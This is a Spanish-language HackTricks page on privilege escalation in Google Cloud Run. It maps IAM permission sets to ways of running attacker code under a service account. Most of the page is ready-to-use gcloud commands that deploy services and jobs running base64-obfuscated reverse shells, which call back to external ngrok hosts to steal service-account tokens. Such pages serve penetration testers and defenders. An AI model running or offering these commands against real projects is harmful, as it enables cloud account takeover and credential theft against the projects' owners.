GCP - Run Privesc

Support HackTricks

Cloud Run

Para más información sobre Cloud Run, consulta:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Un atacante con estos permisos para crear un servicio de run que ejecute código arbitrario (contenedor Docker arbitrario), adjuntar una Cuenta de Servicio a él, y hacer que el código exfiltre el token de la Cuenta de Servicio de los metadatos.

Un script de explotación para este método se puede encontrar aquí y la imagen de Docker se puede encontrar aquí.

Ten en cuenta que al usar gcloud run deploy en lugar de solo crear el servicio necesita el permiso update. Consulta un ejemplo aquí.

run.services.update , iam.serviceAccounts.actAs

Como el anterior, pero actualizando un servicio:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Otórgate permisos previos sobre Cloud Run.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Lanza un trabajo con un shell inverso para robar la cuenta de servicio indicada en el comando. Puedes encontrar un exploit aquí.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Similar al anterior, es posible actualizar un trabajo y actualizar la SA, el comando y ejecutarlo:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Otórgate los permisos anteriores sobre Cloud Jobs.

Referencias

Support HackTricks

Last updated